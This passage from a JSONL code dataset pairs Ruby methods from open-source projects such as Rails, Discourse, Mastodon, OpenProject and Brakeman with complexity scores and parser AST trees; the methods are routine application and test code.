end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"make_group_matcher\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Providers\"]},\"SetAttributesService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Provider\"]},\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Providers\"]},\"CreateContract\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_regexes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preview_regular_expressions\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_regexes\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_regexes\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Groups\"]},\"GroupMatchService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"result\"]},\"group_matchers\"]}]}]}]}]}]}]}]}","id":"3be32820-6944-40e2-bc2d-6c667e92a746"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/macros_controller.rb","start_line":61,"raw_source":"def permitted_params\n params.permit(\n :name, :account_id, :visibility,\n actions: [:action_name, { action_params: [] }]\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_params\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"5e59c986-37e6-4985-9e18-7b43f1ec5006"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meetings_controller.rb","start_line":182,"raw_source":"def destroy # rubocop:disable Metrics/AbcSize\n recurring = @meeting.recurring_meeting\n\n # rubocop:disable Rails/ActionControllerFlashBeforeRender\n Meetings::DeleteService\n .new(model: @meeting, user: User.current)\n .call\n .on_success { flash[:notice] = recurring ? I18n.t(:notice_successful_cancel) : I18n.t(:notice_successful_delete) }\n .on_failure { |call| flash[:error] = call.message }\n # rubocop:enable Rails/ActionControllerFlashBeforeRender\n\n if recurring\n redirect_to project_recurring_meeting_path(@project, recurring), status: :see_other\n else\n redirect_back_or_default project_meetings_path(@project), status: :see_other\n end\n end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"recurring\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting\"]},\"recurring_meeting\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Meetings\"]},\"DeleteService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@meeting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]}]},\"call\"]},\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recurring\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_cancel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_delete\"]}]}]}]}]},\"on_failure\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recurring\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_recurring_meeting_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"lvar\",\"children\":[\"recurring\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_back_or_default\",{\"type\":\"send\",\"children\":[null,\"project_meetings_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}]}","id":"b31177ca-739d-4e55-8982-418e65048fc8"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/users/scopes/having_reminder_mail_to_send.rb","start_line":59,"raw_source":"def having_reminder_mail_to_send(earliest_time, latest_time)\n local_times = local_times_from(earliest_time, latest_time)\n\n return none if local_times.empty?\n\n # Left outer join as not all user instances have preferences associated\n # but we still want to select them.\n recipient_candidates = User\n .active\n .left_joins(:preference)\n .joins(local_time_join(local_times))\n\n subscriber_ids = Notification\n .unsent_reminders_before(recipient: recipient_candidates, time: latest_time)\n .group(:recipient_id)\n .select(:recipient_id)\n\n where(id: subscriber_ids)\n end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"having_reminder_mail_to_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"earliest_time\"]},{\"type\":\"arg\",\"children\":[\"latest_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"local_times\",{\"type\":\"send\",\"children\":[null,\"local_times_from\",{\"type\":\"lvar\",\"children\":[\"earliest_time\"]},{\"type\":\"lvar\",\"children\":[\"latest_time\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_times\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"recipient_candidates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"active\"]},\"left_joins\",{\"type\":\"sym\",\"children\":[\"preference\"]}]},\"joins\",{\"type\":\"send\",\"children\":[null,\"local_time_join\",{\"type\":\"lvar\",\"children\":[\"local_times\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"unsent_reminders_before\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipient\"]},{\"type\":\"lvar\",\"children\":[\"recipient_candidates\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"latest_time\"]}]}]}]},\"group\",{\"type\":\"sym\",\"children\":[\"recipient_id\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"recipient_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"subscriber_ids\"]}]}]}]}]}]}","id":"c241e951-d6eb-4036-b191-fc624b195abe"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/label_base.rb","start_line":21,"raw_source":"def fabricate!\n Page::Label::Index.perform(&:click_new_label_button)\n Page::Label::New.perform do |new_page|\n new_page.fill_title(title)\n new_page.fill_description(description)\n new_page.fill_color(color)\n new_page.click_label_create_button\n end\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Label\"]},\"Index\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"click_new_label_button\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Label\"]},\"New\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_title\",{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_description\",{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_color\",{\"type\":\"send\",\"children\":[null,\"color\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"click_label_create_button\"]}]}]}]}]}","id":"2121c0ec-0a10-4aef-8aea-8e6455bbce1f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb","start_line":1082,"raw_source":"def extract_constraint_deferrable(deferrable, deferred)\n deferrable && (deferred ? :deferred : :immediate)\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_constraint_deferrable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deferrable\"]},{\"type\":\"arg\",\"children\":[\"deferred\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deferrable\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deferred\"]},{\"type\":\"sym\",\"children\":[\"deferred\"]},{\"type\":\"sym\",\"children\":[\"immediate\"]}]}]}]}]}","id":"e2613af4-4aca-42e7-b5b4-9f88ce0065c6"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/linkedin_oidc_credentials_validator.rb","start_line":20,"raw_source":"def credentials_missing?\n SiteSetting.linkedin_oidc_client_id.blank? || SiteSetting.linkedin_oidc_client_secret.blank?\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"credentials_missing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"linkedin_oidc_client_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"linkedin_oidc_client_secret\"]},\"blank?\"]}]}]}","id":"fd99f503-def7-4a8d-8e14-0621a3528a89"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_revision_serializer.rb","start_line":117,"raw_source":"def include_edit_reason?\n scope.can_view_hidden_post_revisions? || current[\"revision\"] == previous[\"revision\"] + 1\n end","complexity_score":12.18,"ast_json":"{\"type\":\"def\",\"children\":[\"include_edit_reason?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_view_hidden_post_revisions?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current\"]},\"[]\",{\"type\":\"str\",\"children\":[\"revision\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous\"]},\"[]\",{\"type\":\"str\",\"children\":[\"revision\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"256d6d20-850f-4c51-97a4-5f17aa33e297"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/cves.rb","start_line":298,"raw_source":"def test_CVE_2010_3933_rails3\n before_rescan_of [\"Gemfile.lock\", \"app/models/a.rb\"], \"rails3\", :run_checks => [\"CheckNestedAttributes\"] do\n replace \"Gemfile.lock\", \"rails (3.0.3)\", \"rails (3.0.0)\"\n write_file \"app/models/a.rb\", <<-RUBY\n class A < ActiveRecord::Base\n accepts_nested_attributes_for :b\n end\n RUBY\n end\n\n assert_version \"3.0.0\"\n\n warning = new.find do |w|\n w.warning_code == 31 and # CVE_2010_3933\n w.message.to_s == \"Vulnerability in nested attributes (CVE-2010-3933). Upgrade to Rails 3.0.1\"\n end\n\n refute_nil warning\n end","complexity_score":18.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_CVE_2010_3933_rails3\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]},{\"type\":\"str\",\"children\":[\"app/models/a.rb\"]}]},{\"type\":\"str\",\"children\":[\"rails3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"run_checks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CheckNestedAttributes\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]},{\"type\":\"str\",\"children\":[\"rails (3.0.3)\"]},{\"type\":\"str\",\"children\":[\"rails (3.0.0)\"]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"str\",\"children\":[\"app/models/a.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" class A < ActiveRecord::Base\\n\"]},{\"type\":\"str\",\"children\":[\" accepts_nested_attributes_for :b\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_version\",{\"type\":\"str\",\"children\":[\"3.0.0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"warning\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"warning_code\"]},\"==\",{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"message\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"Vulnerability in nested attributes (CVE-2010-3933). Upgrade to Rails 3.0.1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"refute_nil\",{\"type\":\"lvar\",\"children\":[\"warning\"]}]}]}]}","id":"39f46572-d596-4e58-a1b4-0f8487c84b4d"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/delivery_failure_tracker.rb","start_line":53,"raw_source":"def without_unavailable(urls)\n unavailable_domains_map = Rails.cache.fetch('unavailable_domains') { UnavailableDomain.pluck(:domain).index_with(true) }\n\n urls.reject do |url|\n host = Addressable::URI.parse(url).normalized_host\n unavailable_domains_map[host]\n rescue Addressable::URI::InvalidURIError, IDN::Idna::IdnaError\n true\n end\n end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"without_unavailable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"urls\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unavailable_domains_map\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"unavailable_domains\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnavailableDomain\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},\"index_with\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"normalized_host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unavailable_domains_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IDN\"]},\"Idna\"]},\"IdnaError\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]}]}]}","id":"93887670-e529-4118-a326-d7c7582fbd34"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/module/introspection_test.rb","start_line":29,"raw_source":"def test_module_parent_name_notice_changes\n klass = Class.new\n assert_nil klass.module_parent_name\n ParentA.const_set(:NewClass, klass)\n assert_equal \"ParentA\", klass.module_parent_name\n ensure\n ParentA.send(:remove_const, :NewClass) if ParentA.const_defined?(:NewClass)\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_module_parent_name_notice_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"module_parent_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParentA\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"NewClass\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"ParentA\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"module_parent_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParentA\"]},\"const_defined?\",{\"type\":\"sym\",\"children\":[\"NewClass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParentA\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"sym\",\"children\":[\"NewClass\"]}]},null]}]}]}","id":"8558a8f0-51d2-4db6-b77f-df6015e44729"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/streaming_controller.rb","start_line":4,"raw_source":"def index\n if same_host?\n not_found\n else\n redirect_to streaming_api_url, status: 301, allow_other_host: true\n end\n end","complexity_score":5.83,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_host?\"]},{\"type\":\"send\",\"children\":[null,\"not_found\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"streaming_api_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[301]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_other_host\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"4e2e2902-dcc2-4c37-86a9-22569fdb5a73"} {"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/service/s3_service.rb","start_line":55,"raw_source":"def download_chunk(key, range)\n instrument :download_chunk, key: key, range: range do\n object_for(key).get(range: \"bytes=#{range.begin}-#{range.exclude_end? ? range.end - 1 : range.end}\").body.string.force_encoding(Encoding::BINARY)\n rescue Aws::S3::Errors::NoSuchKey\n raise ActiveStorage::FileNotFoundError\n end\n end","complexity_score":25.38,"ast_json":"{\"type\":\"def\",\"children\":[\"download_chunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"sym\",\"children\":[\"download_chunk\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_for\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bytes=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"exclude_end?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end\"]}]}]}]}]}]}]},\"body\"]},\"string\"]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"BINARY\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"S3\"]},\"Errors\"]},\"NoSuchKey\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"FileNotFoundError\"]}]}]},null]}]}]}","id":"623be91b-0c66-4990-8cda-a13fe848cbb9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/clean_up_email_tokens.rb","start_line":7,"raw_source":"def execute(args)\n EmailToken.where(\"NOT confirmed AND expired\").where(\"created_at < ?\", 1.month.ago).delete_all\n end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"where\",{\"type\":\"str\",\"children\":[\"NOT confirmed AND expired\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"created_at < ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]},\"ago\"]}]},\"delete_all\"]}]}","id":"f01892d7-70e5-4568-9336-bfaff83199c1"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/server_role.rb","start_line":61,"raw_source":"def regional_role?\n role_scope == \"region\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"regional_role?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role_scope\"]},\"==\",{\"type\":\"str\",\"children\":[\"region\"]}]}]}","id":"ccf137c7-9a78-4c11-be0f-039fd003d4a6"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/tracks/parallel_generator.rb","start_line":80,"raw_source":"def enqueue_boundary_resolver(session_id, chunk_count)\n # Delay based on estimated processing time (30 seconds per chunk + buffer)\n estimated_delay = [chunk_count * 30.seconds, 5.minutes].max\n\n Tracks::BoundaryResolverJob.set(wait: estimated_delay).perform_later(\n user.id,\n session_id\n )\n end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_boundary_resolver\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session_id\"]},{\"type\":\"arg\",\"children\":[\"chunk_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"estimated_delay\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk_count\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"seconds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"minutes\"]}]},\"max\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tracks\"]},\"BoundaryResolverJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"